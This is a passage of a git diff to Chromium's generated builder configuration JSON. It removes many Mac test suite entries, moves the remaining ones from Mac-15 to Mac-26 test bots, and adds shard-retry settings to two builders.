-        "test_id_prefix": "ninja://tools/grit:grit_python_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/installer/mac:mac_signing_tests",
-        "module_scheme": "pyunit",
-        "name": "mac_signing_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "mac_signing_tests",
-        "test_id_prefix": "ninja://chrome/installer/mac:mac_signing_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//mojo/public/tools:mojo_python_unittests",
-        "module_scheme": "pyunit",
-        "name": "mojo_python_unittests",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "mojo_python_unittests",
-        "test_id_prefix": "ninja://mojo/public/tools:mojo_python_unittests/"
-      },
-      {
         "merge": {
           "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
         },
@@ -1616,91 +34,13 @@
         "swarming": {
           "dimensions": {
             "cpu": "x86-64",
-            "os": "Mac-15"
+            "os": "Mac-26"
           },
           "expiration": 21600,
-          "idempotent": false,
           "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
         },
         "test": "telemetry_gpu_unittests",
         "test_id_prefix": "ninja://chrome/test:telemetry_gpu_unittests/"
-      },
-      {
-        "args": [
-          "--extra-browser-args=--enable-crashpad"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/test:telemetry_perf_unittests",
-        "module_scheme": "pyunit",
-        "name": "telemetry_perf_unittests",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "idempotent": false,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 12
-        },
-        "test": "telemetry_perf_unittests",
-        "test_id_prefix": "ninja://chrome/test:telemetry_perf_unittests/"
-      },
-      {
-        "args": [
-          "--jobs=1",
-          "--extra-browser-args=--disable-gpu"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//chrome/test:telemetry_unittests",
-        "module_scheme": "pyunit",
-        "name": "telemetry_unittests",
-        "resultdb": {
-          "enable": true
-        },
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "idempotent": false,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 8
-        },
-        "test": "telemetry_unittests",
-        "test_id_prefix": "ninja://chrome/test:telemetry_unittests/"
-      },
-      {
-        "args": [
-          "--gtest-benchmark-name=views_perftests"
-        ],
-        "merge": {
-          "args": [
-            "--smoke-test-mode"
-          ],
-          "script": "//tools/perf/process_perf_results.py"
-        },
-        "module_name": "//ui/views:views_perftests",
-        "module_scheme": "single",
-        "name": "views_perftests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "views_perftests",
-        "test_id_prefix": "ninja://ui/views:views_perftests/"
       }
     ]
   }
diff --git a/infra/config/generated/builders/ci/mac-treesinviz-enabled-rel/properties.json b/infra/config/generated/builders/ci/mac-treesinviz-enabled-rel/properties.json
index 4dd5d0b..b06a540c 100644
--- a/infra/config/generated/builders/ci/mac-treesinviz-enabled-rel/properties.json
+++ b/infra/config/generated/builders/ci/mac-treesinviz-enabled-rel/properties.json
@@ -44,6 +44,8 @@
           "group": "tryserver.chromium.mac"
         }
       ],
+      "retry_failed_shards": true,
+      "retry_invalid_shards": true,
       "targets_spec_directory": "infra/config/generated/builders/ci/mac-treesinviz-enabled-rel/targets"
     }
   },
diff --git a/infra/config/generated/builders/ci/win-treesinviz-enabled-rel/properties.json b/infra/config/generated/builders/ci/win-treesinviz-enabled-rel/properties.json
index ac0092c..7095a478 100644
--- a/infra/config/generated/builders/ci/win-treesinviz-enabled-rel/properties.json
+++ b/infra/config/generated/builders/ci/win-treesinviz-enabled-rel/properties.json
@@ -44,6 +44,8 @@
           "group": "tryserver.chromium.win"
         }
       ],
+      "retry_failed_shards": true,
+      "retry_invalid_shards": true,
       "targets_spec_directory": "infra/config/generated/builders/ci/win-treesinviz-enabled-rel/targets"
     }
   },
diff --git a/infra/config/generated/builders/try/mac-osxbeta-rel/targets/chromium.fyi.json b/infra/config/generated/builders/try/mac-osxbeta-rel/targets/chromium.fyi.json
index 7d7e755..8bc19a02 100644
--- a/infra/config/generated/builders/try/mac-osxbeta-rel/targets/chromium.fyi.json
+++ b/infra/config/generated/builders/try/mac-osxbeta-rel/targets/chromium.fyi.json
@@ -5,1605 +5,23 @@
         "merge": {
           "script": "//testing/merge_scripts/standard_gtest_merge.py"
         },
-        "module_name": "//third_party/abseil-cpp:absl_hardening_tests",
-        "module_scheme": "gtest",
-        "name": "absl_hardening_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "absl_hardening_tests",
-        "test_id_prefix": "ninja://third_party/abseil-cpp:absl_hardening_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/accessibility:accessibility_unittests",
-        "module_scheme": "gtest",
-        "name": "accessibility_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "accessibility_unittests",
-        "test_id_prefix": "ninja://ui/accessibility:accessibility_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_isolated_script_merge.py"
-        },
-        "module_name": "//third_party/angle/src/tests:angle_unittests",
-        "module_scheme": "gtest",
-        "name": "angle_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "angle_unittests",
-        "test_id_prefix": "ninja://third_party/angle/src/tests:angle_unittests/",
-        "use_isolated_scripts_api": true
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//extensions/shell:app_shell_unittests",
-        "module_scheme": "gtest",
-        "name": "app_shell_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "app_shell_unittests",
-        "test_id_prefix": "ninja://extensions/shell:app_shell_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//base:base_unittests",
-        "module_scheme": "gtest",
-        "name": "base_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "base_unittests",
-        "test_id_prefix": "ninja://base:base_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/common:blink_common_unittests",
-        "module_scheme": "gtest",
-        "name": "blink_common_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "blink_common_unittests",
-        "test_id_prefix": "ninja://third_party/blink/common:blink_common_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/renderer/platform:blink_fuzzer_unittests",
-        "module_scheme": "gtest",
-        "name": "blink_fuzzer_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "blink_fuzzer_unittests",
-        "test_id_prefix": "ninja://third_party/blink/renderer/platform:blink_fuzzer_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/renderer/platform/heap:blink_heap_unittests",
-        "module_scheme": "gtest",
-        "name": "blink_heap_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "blink_heap_unittests",
-        "test_id_prefix": "ninja://third_party/blink/renderer/platform/heap:blink_heap_unittests/"
-      },
-      {
-        "args": [
-          "--git-revision=${got_revision}"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/renderer/platform:blink_platform_unittests",
-        "module_scheme": "gtest",
-        "name": "blink_platform_unittests",
-        "precommit_args": [
-          "--gerrit-issue=${patch_issue}",
-          "--gerrit-patchset=${patch_set}",
-          "--buildbucket-id=${buildbucket_build_id}"
-        ],
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "blink_platform_unittests",
-        "test_id_prefix": "ninja://third_party/blink/renderer/platform:blink_platform_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/blink/renderer/controller:blink_unittests",
-        "module_scheme": "gtest",
-        "name": "blink_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "blink_unittests",
-        "test_id_prefix": "ninja://third_party/blink/renderer/controller:blink_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/boringssl:boringssl_crypto_tests",
-        "module_scheme": "gtest",
-        "name": "boringssl_crypto_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "boringssl_crypto_tests",
-        "test_id_prefix": "ninja://third_party/boringssl:boringssl_crypto_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/boringssl:boringssl_ssl_tests",
-        "module_scheme": "gtest",
-        "name": "boringssl_ssl_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "boringssl_ssl_tests",
-        "test_id_prefix": "ninja://third_party/boringssl:boringssl_ssl_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:browser_tests",
-        "module_scheme": "gtest",
-        "name": "browser_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 35
-        },
-        "test": "browser_tests",
-        "test_id_prefix": "ninja://chrome/test:browser_tests/"
-      },
-      {
-        "args": [
-          "--gtest_filter=-*UsingRealWebcam*"
-        ],
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//media/capture:capture_unittests",
-        "module_scheme": "gtest",
-        "name": "capture_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "capture_unittests",
-        "test_id_prefix": "ninja://media/capture:capture_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//media/cast:cast_unittests",
-        "module_scheme": "gtest",
-        "name": "cast_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "cast_unittests",
-        "test_id_prefix": "ninja://media/cast:cast_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//cc:cc_unittests",
-        "module_scheme": "gtest",
-        "name": "cc_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "cc_unittests",
-        "test_id_prefix": "ninja://cc:cc_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:chrome_app_unittests",
-        "module_scheme": "gtest",
-        "name": "chrome_app_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "chrome_app_unittests",
-        "test_id_prefix": "ninja://chrome/test:chrome_app_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test/chromedriver:chromedriver_unittests",
-        "module_scheme": "gtest",
-        "name": "chromedriver_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "chromedriver_unittests",
-        "test_id_prefix": "ninja://chrome/test/chromedriver:chromedriver_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//components:components_browsertests",
-        "module_scheme": "gtest",
-        "name": "components_browsertests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "components_browsertests",
-        "test_id_prefix": "ninja://components:components_browsertests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//components:components_unittests",
-        "module_scheme": "gtest",
-        "name": "components_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 3
-        },
-        "test": "components_unittests",
-        "test_id_prefix": "ninja://components:components_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//content/test:content_browsertests",
-        "module_scheme": "gtest",
-        "name": "content_browsertests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 8
-        },
-        "test": "content_browsertests",
-        "test_id_prefix": "ninja://content/test:content_browsertests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//content/test:content_unittests",
-        "module_scheme": "gtest",
-        "name": "content_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "content_unittests",
-        "test_id_prefix": "ninja://content/test:content_unittests/"
-      },
-      {
-        "experiment_percentage": 100,
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/crashpad/crashpad:crashpad_tests",
-        "module_scheme": "gtest",
-        "name": "crashpad_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "crashpad_tests",
-        "test_id_prefix": "ninja://third_party/crashpad/crashpad:crashpad_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//crypto:crypto_unittests",
-        "module_scheme": "gtest",
-        "name": "crypto_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "crypto_unittests",
-        "test_id_prefix": "ninja://crypto:crypto_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//device:device_unittests",
-        "module_scheme": "gtest",
-        "name": "device_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "device_unittests",
-        "test_id_prefix": "ninja://device:device_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/display:display_unittests",
-        "module_scheme": "gtest",
-        "name": "display_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "display_unittests",
-        "test_id_prefix": "ninja://ui/display:display_unittests/"
-      },
-      {
-        "ci_only": true,
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/leveldatabase:env_chromium_unittests",
-        "module_scheme": "gtest",
-        "name": "env_chromium_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "env_chromium_unittests",
-        "test_id_prefix": "ninja://third_party/leveldatabase:env_chromium_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/events:events_unittests",
-        "module_scheme": "gtest",
-        "name": "events_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "events_unittests",
-        "test_id_prefix": "ninja://ui/events:events_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//extensions:extensions_browsertests",
-        "module_scheme": "gtest",
-        "name": "extensions_browsertests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "extensions_browsertests",
-        "test_id_prefix": "ninja://extensions:extensions_browsertests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//extensions:extensions_unittests",
-        "module_scheme": "gtest",
-        "name": "extensions_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "extensions_unittests",
-        "test_id_prefix": "ninja://extensions:extensions_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//components/services/filesystem:filesystem_service_unittests",
-        "module_scheme": "gtest",
-        "name": "filesystem_service_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "filesystem_service_unittests",
-        "test_id_prefix": "ninja://components/services/filesystem:filesystem_service_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//testing/libfuzzer/tests:fuzzing_unittests",
-        "module_scheme": "gtest",
-        "name": "fuzzing_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "fuzzing_unittests",
-        "test_id_prefix": "ninja://testing/libfuzzer/tests:fuzzing_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//google_apis/gcm:gcm_unit_tests",
-        "module_scheme": "gtest",
-        "name": "gcm_unit_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "gcm_unit_tests",
-        "test_id_prefix": "ninja://google_apis/gcm:gcm_unit_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/gfx:gfx_unittests",
-        "module_scheme": "gtest",
-        "name": "gfx_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "gfx_unittests",
-        "test_id_prefix": "ninja://ui/gfx:gfx_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//gin:gin_unittests",
-        "module_scheme": "gtest",
-        "name": "gin_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "gin_unittests",
-        "test_id_prefix": "ninja://gin:gin_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//google_apis:google_apis_unittests",
-        "module_scheme": "gtest",
-        "name": "google_apis_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "google_apis_unittests",
-        "test_id_prefix": "ninja://google_apis:google_apis_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
         "module_name": "//gpu:gpu_unittests",
         "module_scheme": "gtest",
         "name": "gpu_unittests",
         "swarming": {
           "dimensions": {
             "cpu": "x86-64",
-            "os": "Mac-15"
+            "os": "Mac-26"
           },
           "expiration": 21600,
           "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
         },
         "test": "gpu_unittests",
         "test_id_prefix": "ninja://gpu:gpu_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//components/gwp_asan:gwp_asan_unittests",
-        "module_scheme": "gtest",
-        "name": "gwp_asan_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "gwp_asan_unittests",
-        "test_id_prefix": "ninja://components/gwp_asan:gwp_asan_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//headless:headless_browsertests",
-        "module_scheme": "gtest",
-        "name": "headless_browsertests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "headless_browsertests",
-        "test_id_prefix": "ninja://headless:headless_browsertests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//headless:headless_unittests",
-        "module_scheme": "gtest",
-        "name": "headless_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "headless_unittests",
-        "test_id_prefix": "ninja://headless:headless_unittests/"
-      },
-      {
-        "experiment_percentage": 100,
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//chrome/test:interactive_ui_tests",
-        "module_scheme": "gtest",
-        "name": "interactive_ui_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com",
-          "shards": 7
-        },
-        "test": "interactive_ui_tests",
-        "test_id_prefix": "ninja://chrome/test:interactive_ui_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ipc:ipc_tests",
-        "module_scheme": "gtest",
-        "name": "ipc_tests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "ipc_tests",
-        "test_id_prefix": "ninja://ipc:ipc_tests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//ui/latency:latency_unittests",
-        "module_scheme": "gtest",
-        "name": "latency_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "latency_unittests",
-        "test_id_prefix": "ninja://ui/latency:latency_unittests/"
-      },
-      {
-        "ci_only": true,
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/leveldatabase:leveldb_unittests",
-        "module_scheme": "gtest",
-        "name": "leveldb_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "leveldb_unittests",
-        "test_id_prefix": "ninja://third_party/leveldatabase:leveldb_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/libjingle_xmpp:libjingle_xmpp_unittests",
-        "module_scheme": "gtest",
-        "name": "libjingle_xmpp_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "libjingle_xmpp_unittests",
-        "test_id_prefix": "ninja://third_party/libjingle_xmpp:libjingle_xmpp_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//third_party/liburlpattern:liburlpattern_unittests",
-        "module_scheme": "gtest",
-        "name": "liburlpattern_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
-          "expiration": 21600,
-          "service_account": "chromium-tester@chops-service-accounts.iam.gserviceaccount.com"
-        },
-        "test": "liburlpattern_unittests",
-        "test_id_prefix": "ninja://third_party/liburlpattern:liburlpattern_unittests/"
-      },
-      {
-        "merge": {
-          "script": "//testing/merge_scripts/standard_gtest_merge.py"
-        },
-        "module_name": "//media:media_unittests",
-        "module_scheme": "gtest",
-        "name": "media_unittests",
-        "swarming": {
-          "dimensions": {
-            "cpu": "x86-64",
-            "os": "Mac-15"
-          },
